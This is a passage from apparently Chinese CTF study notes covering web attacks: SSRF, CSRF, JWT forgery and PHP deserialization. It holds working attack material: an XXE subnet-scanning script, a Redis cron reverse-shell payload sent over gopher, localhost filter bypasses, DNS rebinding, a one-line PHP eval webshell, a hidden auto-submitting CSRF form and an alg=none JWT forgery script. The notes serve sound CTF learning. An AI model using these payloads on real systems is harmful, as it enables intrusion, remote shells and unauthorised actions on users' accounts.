</user>

然后找到可疑IP网段进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests as res
url="http://7935d298-d150-4321-be51-0ba6da571003.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.166.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.3)
except:
continue
else:
print(resp.text,end='')
finally:
print('')


SSRF

最近刷题时经常有看到SSRF,不如趁机补充一下(本来我还想水一下的)

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户

[CTFHUB–SSRF详解_ctfhub ssrf-CSDN博客](https://blog.csdn.net/qq_49422880/article/details/117166929#:~:text=SSRT(Server-Side Request Forgery,服务器端请求伪造),就是攻击者利用服务器能访问其他的服务器的功能,通过自己的构造服务器请求来攻击与外界不相连接的内网,我们知道内网与外网是不相通的,所以利用这)

CGI 和 FastCGI 协议的运行原理 - itbsl - 博客园

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,一般来说SSRF是让网站执行链接来达到攻击内网或者访问特定文件(服务端发起,所以它能够请求到相连的内部系统),形成原因大都是由于服务端提供了从其他服务器下载资料的功能或者是访问其他网站的功能而没有对目标地址进行过滤和限制(指定 URL 地址获取网页文本内容,加载指定地址的图片,下载…..)

SSRF主要是由于一些危险函数(file_get_contents() readfile() fsockopen() curl_exec() SoapClient…..)与危险协议(file:// gopher dict)产生的

FASTCGI

  • FastCGI 进程管理器启动时会创建一个 主(Master) 进程和多个 CGI 解释器进程(Worker 进程),然后等待 Web 服务器的连接
  • Web 服务器接收 HTTP 请求后,将 CGI 报文通过 套接字(UNIX 或 TCP Socket)进行通信,将环境变量和请求数据写入标准输入,转发到 CGI 解释器进程
  • CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回给 Web 服务器
  • CGI 解释器进程等待下一个 HTTP 请求的到来

危险函数

file_get_contents() 与 readfile()

从函数字面上看,就是读取文件然后输出,类似代码如下:

1
2
3
4
5
// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

像这种没做任何过滤和限制的源码,直接输入?url=../../../../../etc/passwd即可读取根目录文件

fsockopen()

用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取

基本语法 fsockopen($hostname,$port,$errno,$errstr,$timeout),参数分别为主机名/IP地址、端口、错误号(可选)、存储错误描述(可选)、设置连接超时时间(可选)。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用fgets(),fgetss(),fwrite(),fclose(),feof()如果调用失败,将返回false

类似代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// ssrf.php
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

构造?url=www.baidu.com能直接访问百度首页

curl_exec()

curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供 curl_setopt() curl_exec() curl_close() 函数使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>

构造?url=www.baidu.com能直接访问百度首页

危险协议

file://

file://后面跟路径可以访问任意文件:file:///etc/passwd

dict

dict 协议可探测目标端口的开放情况和指纹信息,帮助攻击者判断目标服务类型

利用 dict 协议,dict://ip/info可获取本地redis服务配置信息

配合curl进行 curl dict://ip:port 根据返回信息判断目标服务是否为Redis等

gopher协议

Gopher 协议是一种用于在网络上分发、搜索和检索文档的通信协议

gopher://<host>:<port>/<gopher-path>_<TCP 数据流>,其中 <host> 为服务器主机名或 IP 地址,<port> 为端口号,默认为 70,<gopher-path> 为资源路径

先先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议

1
2
3
4
5
6
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
//redis-cli查看所有的keys及清空所有的数据

这便是常见的exp,只需自己更改IP和端口,改成适配于Gopher协议的 URL:

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0

经过url解码便是:

1
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit

gopher协议发POST包

类似源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//关闭错误报告
error_reporting(0);
//判断url参数是否存在
if (!isset($_REQUEST['url'])){
//不存在就跳转到当前根目录
header("Location: /?url=");
exit;
}
//初始化curl
$ch = curl_init();
//指定请求的url
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//告诉curl不返回http头,只返回http正文
curl_setopt($ch, CURLOPT_HEADER, 0);
//允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有

在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码

我们自己进行第一次URL编码时,编码后要将里面%0A全部替换成%0D0A(因为%0A时ASCII中的换行符),替换完成后,再进行二次编码

最后构造请求:

1
?url=gopher://127.0.0.1:80/二次编码的url

@绕过

如果有些题目会检查必须包含一个地址,可以使用@绕过:

1
http://baidu.com@1.1.1.1

这样和http://1.1.1.1的效果是一样的

用句号替换 “.”

1
127。0。0。1

xip.io 和 xip.name 绕过

1
2
10.0.0.1.xip.io # 解析到 10.0.0.1 
10.0.0.1.xip.name # 解析到 10.0.0.1

针对127.0.0.1的绕过

sudo.cc

url=http://0/flag.php(host位数小于三)
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

url=http://2130706433/flag.php

1
2
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php

如果限制host小于5

1
2
url=http://0/flag.php
url=http://127.1/flag.php

gethostbyname 是一个简单且实用的函数,用于将主机名解析为 IP 地址

1
2
3
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!'); // 如果 IP 无效或属于私有或保留范围,终止脚本并输出 'ip!'
}
  1. filter_var($ip, FILTER_VALIDATE_IP):
    • 这个函数用于验证 $ip 是否是一个有效的 IP 地址(IPv4 或 IPv6)。
  2. FILTER_FLAG_NO_PRIV_RANGE:
    • 这是一个过滤标志,表示 filter_var 应该拒绝私有 IP 地址。
    • 私有 IP 地址范围包括:
      • 10.0.0.0 - 10.255.255.255
      • 172.16.0.0 - 172.31.255.255
      • 192.168.0.0 - 192.168.255.255
  3. FILTER_FLAG_NO_RES_RANGE:
    • 这是一个过滤标志,表示 filter_var 应该拒绝保留 IP 地址。
    • 保留 IP 地址范围包括:
      • 127.0.0.0 - 127.255.255.255 (本地回环地址)
      • 169.254.0.0 - 169.254.255.255 (链路本地地址)
      • 其他特殊用途的 IP 地址(如 0.0.0.0 等)
1
2
3
<?php 
header("Location: http://127.0.0.1/flag.php");
?>
1
2
3
4
5
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){    
echo file_get_contents($url);
}

url=http://ctf.@127.0.0.1/flag.php?show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
parse_url()  

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果-----------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //
[user] => username @前
[pass] => password @前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)
/path

禁止了所有字母和.,那么我们使用2130706433来表示127.0.0.1

也可以生成短链接进行访问Bitly. The power of the link.

DNS重绑定

(10 封私信 / 80 条消息) Web-SSRF-DNS重绑定 - 知乎

SSRF3-URL Bypass( 如何绕过ssrf过滤@+302跳转+DNS 重绑定) - sun010 - 博客园

DNS Rebinding Bypass SSRF-先知社区

传统SSRF过滤

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

Web浏览器同源策略(SOP)

同源策略(Same origin policy) 是一个重要的安全策略,它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介(两个 URL 的协议、域名、端口都相同的话,则这两个 URL 是同源)

简单来说,在浏览器里,同一个域名下的网站只能访问本域名下的资源,就像我一个浏览器同时打开了多个网站,里面分别存有我的个人敏感信息,由于同源策略的存在,这几个网站不会相互访问,这就保护了我们的个人信息不会泄露到其它网站上去

但是在浏览器中,<script> <img><iframe><link>等标签都可以跨域加载,而不受浏览器的同源策略的限制,,别担心!通过通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读写src加载返回的内容

DNS重绑定攻击

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址,这里的攻击过程是基于传统SSRF过滤过程之中两次请求的时间差(host解析和curl发包之间),但对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的

发现了吧,浏览器只认为域名相同的即为同源,而不在乎DNS解析过后指向的IP地址,所以可以通过DNS重绑定攻击来绕过同源策略、攻击内网

借用一张图:

  1. 攻击者配置了一台DNS服务器用于解析某域名
  2. 每次请求后返回的解析结果不一样,分别是一个合法地址,一个是恶意地址
  3. 当服务器在第一次请求的时候返回合法地址,第二次请求时返回的是恶意地址。就可以绕过限制进行利用

利用

可以尝试这个网站,它可以帮忙进行重绑定rbndr.us dns rebinding service

分别输入A:127.0.0.1 B:192.168.0.1

然后 http://7f000001.c0a80001.rbndr.us/flag.php 即可

如果是不是打127的话可以在A输入你VPS的ip,然后在B输入题目的docker.ip

再在自己的VPSweb服务下起一个重定向到127.0.0.1/flag.php也可以

1
2
3
<?php
header("Location:http://127.0.0.1/flag");
?>

例题

一些概念上的练习可以上ctfhub上的SSRF分支去练习

攻防世界 难度5_babyweb(国赛)

看到内网访问,想到ssrf.php(这真是要对上脑电波的)

然后就是简单的访问file:///flag

攻防世界 难度5_ssrfme

验证码脚本:

1
2
3
4
5
6
7
8
import hashlib
cha = 0
while True:
s = hashlib.md5(str(cha).encode('utf-8')).hexdigest()
if s[-6:] == '412cfb':
print(cha)
break
cha += 1

然后对flag编码,访问 file:///%66%6c%61%67即可

[SDCTF 2022]CURL Up and Read | NSSCTF

先尝试file:///flag,发现不行,然后尝试www.baidu.com,发现成功回显,然后看到URL有base64编码

尝试file:///proc/1/environ编码后替换访问,成功得到flag

[BUUCTF在线评测](https://buuoj.cn/challenges#[HITCON 2017]SSRFme) SSRFME

1
2
3
4
5
http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/?url=data:text/plain,%27%3C?php%20@eval($_POST[%27capt%27])?%3E%27&filename=upload/test.php


http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/sandbox/50d5f583d8a911dde39156ba3f03c3d5/upload/test.php

蚁剑连接即可

NSSRound#20 Basic]CSDN_To_PDF V1.2 | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os

app = Flask(__name__)

URL_REGEX = re.compile(
r'http(s)?://' # http or https
r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


def is_valid_url(url):
if not URL_REGEX.match(url):
return False
if "blog.csdn.net" not in url:
return False

return True


@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
if request.method == 'POST':
url = request.form.get('url')
# 当我不知道weasyprint会解析恶意 <link attachment=xxx>?
url = url.replace("html", "")
if is_valid_url(url):
try:
html = HTML(url=url)
pdf = html.write_pdf()
response = make_response(pdf)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'

return response
except Exception as e:
return f'Error generating PDF', 500
else:
return f'Invalid URL! Target web address: ' + url
else:
return render_template("index.html"), 200


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客


CSRF

原理

CSRF(Cross-site request forgery),跨站请求伪造,简单来说,就是伪造成admin身份,这样就可以拿到或者使用一些操作权限,获取敏感信息,借用一张图片:

由上图可以看出:

  1. 用户带着自己的凭证登入到目标网站,然后凭证被保存在本地
  2. 这个时候用户如果访问了恶意网站,且此时恶意网站向目标网站发送了请求,那么就会自动带上用户凭证访问(只是冒用,而不是直接获取你的凭证信息)
  3. 而目标网站因为用户凭证的原因,就不会识别成恶意请求,而是将其视为正常请求通过

(这点看起来跟钓鱼网站那种转钱、盗号差不多)

XSS+CSRF

(以下突然发癫是因为写Ekko_note的WP的时候莫名觉醒了表达欲望)

(灵感来自跨站請求偽造 CSRF 一點就通 | Beyond XSS

security - Example of silently submitting a POST FORM (CSRF) - Stack Overflow

假设现在存在一个网站,里面有文章,且存在删除按钮,其删除功能是这样的:

1
<a href='/delete?id=uid'>Delete</a>

然后网页后端验证:如果是用户发起的请求且该文章就是用户自己写的,那就执行删除命令

这看起来很安全的验证其实根本不安全,结合上面我们所说的CSRF,假设我们看A很不爽(bushi),很想删除他的文章,但是我们没有TA的认证,怎么办?通过观察A的喜好,我们发现他很喜欢点一些网站或者链接,某天我们突发奇想,自制了一个有着正常功能的网站,并且机缘巧合之下A也点进去了。我们将里面的提交按钮改成下面的形式:

1
<a href='https://xxx.com/delete?id=uid'>Begin!</a>

试想,如果A点击了这个开始按钮,就会像目标网站发送请求(带上凭证,一般你登网站都是一次过后一段时间内就都能直接登录的是吧),网站一看,欸是作者要求删除,且文章自己写的,网站就直接执行了,那么A的文章就这么被 ”自己“ 删了

但是你发现了,上面给的这个链接,如果A点了,那么会跳转到网站的界面,也就是TA眼睁睁看着自己的文章没了,那你的小心思不就立马被发现了吗。那我们换种方法:

1
2
<img src='https://xxx.com/delete?id=uid' width='0' height='0' />
<a href='/test'>Begin!</a>

将图片长宽都设置成了0,欸,这样前端就看不到这张图片了,但是它会偷偷发送请求出去(依旧是以A的身份),这样文章就会偷偷被删除了

但是网站管理员现在很聪明,TA早早知道了功能这么写的危害,所以TA将删除改成了POST请求,心想:这样总能避免图片和超链接攻击了吧

行走在[智识]命途的你,想到了POST请求,那么前端能实现POST请求的是什么呢,通过一番寻找,你发现了<form>这个标签,那么就很自然的写下了以下代码:

1
2
3
4
<form action="https://xxx.com/delete" method="POST">
<input type="hidden" name="id" value="3"/>
<input type="submit" value="Begin"/>
</form>

但是你又发现,直接一个表单让A点是否有点过于《明目张胆》,你想隐藏掉并且也实现偷偷摸摸自动请求的功能呢,欸,你经过又一番搜索,发现了<iframe>标签:

<iframe> 是 HTML 的“行内框架”元素,用来在当前页面里嵌入另一个独立的 HTML 文档。它相当于页中页,浏览器会为它创建一个新的浏览上下文(browsing context),即一个新的“小窗口”或“小 tab”,与父页面互不干扰

比如:<iframe src="https://example.com"></iframe>,那么浏览器会再发起一次对 https://example.com 的请求,并把返回的 HTML 渲染在 iframe 占的区域里

好了,了解完了这标签的大概意思,你还是很疑惑,这这这不还是看得见吗。这时候display:none就赶来了,它告诉你:只要带上了我,A就看不到这块区域

现在,你明白了一切,反手写下以下代码:

1
2
3
4
5
6
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://xxx.com/delete' target="csrf-frame" id="csrf-form">
<input type='hidden' name='id' value='uid'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

其功能如下:

  1. 第一段隐藏 iframe,用来接收 POST 结果
  2. 第二段表单指向隐藏 iframe,实现“静默提交”
  3. 最后页面加载后立即自动提交表单

欸,这样一来,你发现,虽然管理员改成了POST,但依旧有CSRF的问题,与此同时,管理员发现了这个问题,所以TA大手一挥,将接受信息的格式改成了JSON,因为对于form来说,只支持

  1. application/x-www-form-urlencoded
  2. multipart/form-data
  3. text/plain

这三种enctype,但是如果解析json的话,一般都是application/json,有些服务器可能会拒绝上面发送的三种,但是另一些服务器比较宽容,它认为如果你的body是json格式的,enctype乱七八糟也没啥关系

所以这里引申出了name中包含json格式

1
2
3
4
5
<form action="https://xxx.com/delete" method="post" enctype="text/plain">
<input name='{"id":uid, "ignore_me":"' value='test"}' type='hidden'>
<input type="submit"
value="delete"/>
</form>

聪明的你,发现了form产生request body的规则:(普普通通的表单)

1
2
3
4
5
<form action="/u" method="post" enctype="application/x-www-form-urlencoded">
<input name="a" value="1">
<input name="b" value="2">
<input type="file" name="f">
</form>

如果enctype=application/x-www-form-urlencoded,那么请求体就是

1
2
3
4
POST /u HTTP/1.1
Content-Type: application/x-www-form-urlencoded

a=1&b=2

文件内容 不会被发送(浏览器只传文件名)

multipart/form-data

1
2
3
4
5
6
7
8
9
10
11
12
POST /u HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="a"
1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="f"; filename="a.txt"
Content-Type: text/plain

<二进制>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

text/plain

1
2
3
4
5
POST /u HTTP/1.1
Content-Type: text/plain

a=1
b=2

到了这里你就发现了华点:对于text/plain来说,请求体是name=value

所以最上面的表单提交后就会变成

1
{"id":uid, "ignore_me":"=test"}

很神奇吧,聪明的你学了这些以后感觉对XSS+CSRF的理解有更深了呢,没准以后真能被博识尊瞥视()


JWT

认识JWT - 废物大师兄 - 博客园

JSON Web Tokens - jwt.io

重要工具就是C-JWT-Cracker(爆破Key)和无影(解码和构造),当然你用在线工具也是可以的()

概念

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息

应用场景

  • Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用
  • Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改

格式

组成为:

header.payload.signature

Header

header典型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)

Payload

JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private

  • Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等
  • Public claims : 可以随意定义
  • Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明

Signature

为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可

HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

下面给个例子:

工作方式

(图扒上面那个博客里的)

其实就类似Cookie

服务器上的受保护的路由将会检查Authorization header中的 JWT 是否有效,如果有效,则用户可以访问受保护的资源

CTF中的应用

主要就是,你可以伪造成admin访问

BUUCTF在线评测 EasyLogin

脚本:

1
2
3
4
5
6
7
8
9
10
11
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1753186787
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

[BUUCTF—HFCTF2020]EasyLogin保姆级详解。-CSDN博客

反序列化漏洞

这边主要是介绍Php

php反序列化完整总结-先知社区

PHP反序列化从初级到高级利用篇 - fish_pompom - 博客园

PHP之序列化与反序列化(POP链篇)_php反序列化pop链-CSDN博客

PHP 反序列化基础完全解析-先知社区

为什么需要序列化

当需要将 PHP 中的复杂数据类型(如数组、对象等)存储到文件、数据库或其他存储介质中时,序列化可以把它们转换为一种可存储的线性字符串格式。以对象为例,如果不进行序列化,直接存储可能会面临数据结构难以保存、存储效率低下等问题。而序列化后,可以完整地保存对象的状态和结构,之后再通过反序列化恢复成原来的对象

简单来说,PHP 文件在执行结束以后就会将对象销毁,为了长久保存对象,就序列化,要用的时候就反序列化一下就好了

E.g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class test{

public $name = 'miHoYo';
private $game = 'xingbugudi';
protected $age = '0';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>


//O:4:"test":3:{s:4:"name";s:6:"miHoYo";s:10:"testgame";s:10:"xingbugudi";s:6:"*age";s:1:"0";}

关键函数 serialize():将PHP中创建的对象,变成一个字符串

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00%00成员名*

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00%00属性名*

然后这里的Private和Protected不可以在外部调用更不能修改赋值,这个时候就需要利用构造函数以及在内部修改

你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了以后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?

序列化只序列化属性,不序列化方法

  • 反序列化的时候需要依托环境,因为不序列化方法,所以不能脱离作用域(类似解压缩)
  • 反序列化是依托属性来进行攻击

原理

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

前提

要用 unserialize() 函数,且进行反序列化的参数必须可控

在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象

但是反序列化只是控制了是属性,如果人家本身就是要反序列化后调用该类的某个安全的方法,我们又无法直接更改别人写好的代码,这时就素手无策了

这是就有魔法方法的出现了,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,只要里面出现了我们可以利用的函数,我们就可以操控其对象属性的值来操控函数,进而达到攻击目的

反序列化标识:

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

魔法方法

对于php高版本来说,以下有些函数已被弃用,但是在CTF中仍会出现()

__isset()

当对不可访问(比如私有、受保护或者未定义)的类属性调用 isset() 或者 empty() 函数时,__isset() 方法会被自动调用。它允许你自定义当检查这些不可直接访问属性是否存在时的行为(就是布尔类型,看括号里的存不存在)

假设有一个 Person 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Person {
private $name;
private $age;

public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}

public function __isset($name) {
// 检查属性是否存在
return isset($this->$name);
}
}

$person = new Person('张三', 20);
var_dump(isset($person->name)); // 通过 __isset() 方法间接检查,结果为 bool(true)
var_dump(isset($person->address)); // 结果为 bool(false),因为 address 属性不存在

__wakeup

  • __sleep() 相对应,当对象被反序列化时,__wakeup() 魔术方法会被自动调用

  • 主要用于在反序列化时重新初始化对象可能需要的资源。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    class ResourceHandler
    {
    private $resource;
    public function __construct()
    {
    $this->resource = fopen("example.txt", "r");
    }
    public function __sleep()
    {
    fclose($this->resource);
    return array("resource");
    }
    public function __wakeup()
    {
    $this->resource = fopen("example.txt", "r");
    }
    }
    $resourceHandler = new ResourceHandler();
    $serializedResource = serialize($resourceHandler);
    $deserializedResource = unserialize($serializedResource);

    在这个例子中,当对象被反序列化时,__wakeup() 方法会被调用,重新打开文件资源

__construct

  • 当创建一个对象时,它会被自动调用

  • 构造方法用于在创建对象时初始化对象的属性等操作。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    class Person
    {
    public $name;
    public function __construct($name)
    {
    $this->name = $name;
    }
    }
    $person = new Person("Alice");
    //$person -> name = "Alice";

    在上面的例子中,当创建 Person 类的实例 $person 时,__construct() 方法被调用,将传入的参数 "Alice" 赋值给对象的 $name 属性

__destruct

  • 这是 PHP 面向对象编程中的析构方法。当对象被销毁时,它会被自动调用

  • 析构方法通常用于执行清理工作,如关闭数据库连接、释放资源等。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    class DatabaseConnection
    {
    private $connection;
    public function __construct()
    {
    $this->connection = mysqli_connect("localhost", "user", "password", "database");
    }
    public function __destruct()
    {
    mysqli_close($this->connection);
    }
    }
    $db = new DatabaseConnection();

    在这个例子中,当 $db 对象的生命周期结束(如脚本执行完毕或者对象被显式销毁)时,__destruct() 方法会被调用,关闭数据库连接

__sleep()

  • 这个魔术方法用于在对象被序列化时执行一些操作。当使用 serialize() 函数来序列化对象时,__sleep() 会被自动调用

  • 它通常用于清理对象,如关闭对象中的资源句柄或者指定对象中哪些属性可以被序列化。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    class ResourceHandler
    {
    private $resource;
    public function __construct()
    {
    $this->resource = fopen("example.txt", "r");
    }
    public function __sleep()
    {
    fclose($this->resource);
    // 可以指定哪些属性可以被序列化
    return array("resource");
    }
    }
    $resourceHandler = new ResourceHandler();
    serialize($resourceHandler);

    在这个例子中,当对 ResourceHandler 对象进行序列化时,__sleep() 方法被调用,先关闭资源文件句柄

__get() & __set()

  • 在 PHP 面向对象编程中,get()set() 通常用于封装类的属性,提供对属性的受控访问

  • set() 方法:用于设置对象属性的值。它可以在设置属性值时添加额外的逻辑,如验证数据的有效性等。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    class Product
    {
    private $price;
    public function setPrice($price)
    {
    if ($price >= 0) {
    $this->price = $price;
    } else {
    throw new Exception("Price cannot be negative");
    }
    }
    }
    $product = new Product();
    $product - > setPrice(100);

    在这个例子中,setPrice() 方法用于设置产品价格,同时检查价格是否为负数,如果是负数则抛出异常。

__call()

调用一个不存在的方法时,会触发 __call() 魔法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Example
{
public function __call($name, $arguments)
{
echo "你调用了不存在的方法: $name\n";
echo "传递的参数是: " . implode(', ', $arguments) . "\n";
}
}

$obj = new Example();
$obj->someNonExistentMethod('参数1', '参数2');


#你调用了不存在的方法: someNonExistentMethod
#传递的参数是: 参数1, 参数2

假设我们有一个类 Example,其中定义了 __call() 方法,没有定义 someNonExistentMethod(),直接调用 someNonExistentMethod() 就会触发 __call()

__invoke()

  • 当一个对象被当作函数调用时,__invoke() 方法会被自动调用。这使得对象可以像函数一样被调用,提供了更多的灵活性,可以创建可调用的对象,这样的对象在某些场景下可以作为回调函数等使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
class InvokableClass
{
public function __invoke($name)
{
echo "Hello, $name!";
}
}

// 创建对象
$obj = new InvokableClass();

// 像调用函数一样调用对象
$obj("PHP"); // 输出 "Hello, PHP!"

__toString()

